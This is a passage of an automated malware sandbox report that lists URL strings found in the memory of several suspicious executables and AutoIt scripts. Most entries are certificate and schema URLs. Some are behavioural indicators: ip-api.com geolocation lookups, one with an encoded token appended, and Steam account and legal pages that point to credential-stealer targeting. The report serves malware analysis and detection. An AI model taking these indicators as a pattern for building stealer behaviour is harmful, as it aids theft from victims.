vg9qcBa.exe, 00000027.00000003.14701455684.0000000000962000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: vg9qcBa.exe, 00000027.00000003.14762274085.00000000009A9000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14511590204.0000000000985000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14701455684.0000000000962000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: rodda.exe, 0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14313728866.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14545805000.00000000064B3000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14545599157.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14471313415.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.pki.goog/gtsr1/gtsr1.crl0W
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: svchost.exe, 00000012.00000002.17165909874.0000027A3FEE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertCSRSA4096RootG5.crl0
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://crl3.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0F
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl0=
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://crl4.digicert.com/NETFoundationProjectsCodeSigningCA2.crl0=
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166696321.0000027A41030000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14307062441.0000027A40959000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14306766345.0000027A40978000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163935772.0000027A40964000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14307450913.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15044394903.0000027A4097A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 00000012.00000003.15044394903.0000027A4097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes
Source: svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 00000012.00000002.17165788077.0000027A3FEC2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14306766345.0000027A40978000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163935772.0000027A40964000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15044394903.0000027A4097A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 00000012.00000003.14307211239.0000027A4092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdtxd6R8
Source: svchost.exe, 00000012.00000002.17165699217.0000027A3FEA8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14294357464.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165560965.0000027A3FE7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14306305906.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E91000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14168054682.000001B530E76000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14168576817.000001B532C91000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000005.00000000.14138300705.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 0000000B.00000000.14169186231.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, 926085a3ba.exe, 0000000D.00000002.14318974111.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 0000000D.00000000.14257402050.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C51000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000028.00000002.14421215483.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000000.14419225512.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 00000034.00000000.14500093550.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, kreon.exe, 00000034.00000002.14502227475.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ip-api.com/line/
Source: 926085a3ba.exe, 00000005.00000002.14168576817.000001B532C91000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000005.00000000.14138300705.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 0000000B.00000000.14169186231.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, 926085a3ba.exe, 0000000D.00000002.14318974111.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 0000000D.00000000.14257402050.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000002.14421215483.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000000.14419225512.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 00000034.00000000.14500093550.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, kreon.exe, 00000034.00000002.14502227475.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://ip-api.com/line/RUBYUA4641FBC1EEC04DBBBD9746938E6DE66EBQAFA39zdVcmcCZWACZ1e3siDQMEAAoCDSQFcyc
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://james.newtonking.com/projects/json
Source: 0fVlNye.exe, 00000015.00000000.14332762772.0000000000409000.00000002.00000001.01000000.0000000E.sdmp, 0fVlNye.exe, 00000015.00000002.14346945744.0000000000409000.00000002.00000001.01000000.0000000E.sdmp, VBVEd6f.exe, 00000029.00000002.14462289887.0000000000409000.00000002.00000001.01000000.00000012.sdmp, VBVEd6f.exe, 00000029.00000000.14456792285.0000000000409000.00000002.00000001.01000000.00000012.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: rodda.exe, 0000000C.00000003.14507829548.0000000006504000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737146993.0000000005DB8000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554100596.000000000372D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.pki.goog/gtsr100
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: svchost.exe, 00000012.00000002.17165560965.0000027A3FE7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pki.goog/repo/certs/gtsr1.der04
Source: svchost.exe, 00000012.00000003.14307510396.0000027A40953000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15044192030.0000027A4095A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14307450913.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mi
Source: svchost.exe, 00000012.00000002.17165560965.0000027A3FE7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.mic
Source: svchost.exe, 00000012.00000003.17161557363.0000027A4093C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161745924.0000027A4093E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163700790.0000027A40940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: svchost.exe, 00000012.00000003.17160306293.0000027A4096E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15359683945.0000027A40979000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15044615880.0000027A40967000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163638261.0000027A40952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14312148908.0000027A40950000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161352420.0000027A4094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy0606
Source: svchost.exe, 00000012.00000003.15044615880.0000027A40964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policyz
Source: svchost.exe, 00000012.00000003.17160306293.0000027A4096E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15359683945.0000027A40979000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15044615880.0000027A40967000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: svchost.exe, 00000012.00000003.17161557363.0000027A4093C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163760065.0000027A40943000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161656331.0000027A40941000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scg
Source: svchost.exe, 00000012.00000003.15044615880.0000027A40964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/scult
Source: svchost.exe, 00000012.00000003.15044615880.0000027A40967000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 00000012.00000003.15034751856.0000027A4092F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.15349776511.0000027A4092F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163638261.0000027A40952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14312148908.0000027A40950000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161352420.0000027A4094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163638261.0000027A40952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161352420.0000027A4094D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue/
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Selection.com, 00000032.00000002.15605673470.0000000000719000.00000002.00000001.01000000.00000014.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Reynolds.com, 00000020.00000000.14374579730.00007FF7A35B4000.00000002.00000001.01000000.00000010.sdmp, Reynolds.com, 00000039.00000000.14536110793.00007FF7A35B4000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C76000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14887228575.0000000001290000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325350769.0000000001281000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14735831402.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696470310.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697748512.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14661399478.000000000127E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166958533.0000027A4104B000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14511590204.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: svchost.exe, 00000012.00000003.14312148908.0000027A40950000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com
Source: svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=805020
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601dows
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600i
Source: svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601z
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
